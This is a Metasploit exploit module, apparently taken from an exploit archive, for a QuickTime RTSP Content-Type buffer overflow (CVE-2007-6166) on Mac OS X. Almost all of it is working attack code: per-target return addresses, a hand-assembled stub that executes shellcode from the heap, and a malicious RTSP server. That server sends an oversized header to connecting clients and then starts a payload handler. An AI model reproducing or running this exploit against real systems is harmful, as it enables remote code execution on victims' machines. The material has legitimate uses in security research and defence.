Apple QuickTime (Mac OSX) – RTSP Content-Type Overflow (Metasploit)
## # $Id: quicktime_rtsp_content_type.rb 10617 2010-10-09 06:55:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow', # Description? # Author? 'Version' => '$Revision: 10617 $', 'Platform' => 'osx', 'References' => [ [ 'CVE', '2007-6166' ], [ 'OSVDB', '40876'], [ 'BID', '26549' ], ], 'Payload' => { 'Space' => 3841, 'BadChars' => "\x00\x0a\x0d", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0', { 'Arch' => ARCH_PPC, 'Ret' => 0x8fe3f88c, 'RetOffset' => 551, 'PayloadOffset' => 879 } ], [ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1', { 'Arch' => ARCH_PPC, 'Ret' => 0x8fe042e0, 'RetOffset' => 615, 'PayloadOffset' => 3351 } ], [ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3', { 'Arch' => ARCH_X86, 'Offset' => 307, 'Writable' => 0xa0bd0f10, # libSystem __IMPORT # The rest of these are all in libSystem __TEXT 'ret' => 0x9015d336, 'poppopret' => 0x9015d334, 'setjmp' => 0x900bc438, 'strdup' => 0x90012f40, 'jmp_eax' => 0x9014a77f } ], [ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1', { 'Arch' => ARCH_X86, 'Offset' => 307, 'Writable' => 0x8fe66448, # dyld __IMPORT # The rest of these addresses are in dyld __TEXT 'ret' => 0x8fe1ceee, 'poppopret' => 0x8fe220d7, 'setjmp' => 0x8fe1ceb0, 'strdup' => 0x8fe1cd77, 'jmp_eax' => 0x8fe01041 } ], ], 'DefaultTarget' => 2, 'DisclosureDate' => 'Nov 23 2007')) end ###### # XXX: This does not work on Tiger apparently def make_exec_payload_from_heap_stub() frag0 = "\x90" + # nop "\x58" + # pop eax "\x61" + # popa "\xc3" # ret frag1 = "\x90" + # nop "\x58" + # pop eax "\x89\xe0" + # mov eax, esp "\x83\xc0\x0c" + # add eax, byte +0xc "\x89\x44\x24\x08" + # mov [esp+0x8], eax "\xc3" # ret setjmp = target['setjmp'] writable = target['Writable'] strdup = target['strdup'] jmp_eax = target['jmp_eax'] exec_payload_from_heap_stub = frag0 + [setjmp].pack('V') + [writable + 32, writable].pack("V2") + frag1 + "X" * 20 + [setjmp].pack('V') + [writable + 24, writable, strdup, jmp_eax].pack("V4") + "X" * 4 end def on_client_connect(client) print_status("Got client connection...") if (target['Arch'] == ARCH_PPC) ret_offset = target['RetOffset'] payload_offset = target['PayloadOffset'] # Create pattern sized up to payload, since it always follows # the return address. boom = Rex::Text.pattern_create(payload_offset) boom[ret_offset, 4] = [target['Ret']].pack('N') boom[payload_offset, payload.encoded.length] = payload.encoded else boom = Rex::Text.pattern_create(327) boom[307, 4] = [target['ret']].pack('V') boom[311, 4] = [target['ret']].pack('V') boom[315, 4] = [target['poppopret']].pack('V') boom[319, 4] = [target['Writable']].pack('V') boom[323, 4] = [target['Writable']].pack('V') # # Create exec-payload-from-heap-stub, but split it in two. # The first word must be placed as the overwritten saved ebp # in the attack string. The rest is placed after the # Writable memory addresses. # magic = make_exec_payload_from_heap_stub() boom[303, 4] = magic[0, 4] boom += magic[4..-1] # # Place the payload immediately after the stub as it expects # boom += payload.encoded end body = " " header = "RTSP/1.0 200 OK\r\n"+ "CSeq: 1\r\n"+ "Content-Type: #{boom}\r\n"+ "Content-Length: #{body.length}\r\n\r\n" print_status("Sending RTSP response...") client.put(header + body) print_status("Sleeping...") select(nil,nil,nil,1) print_status("Starting handler...") handler(client) print_status("Closing client...") service.close_client(client) end end |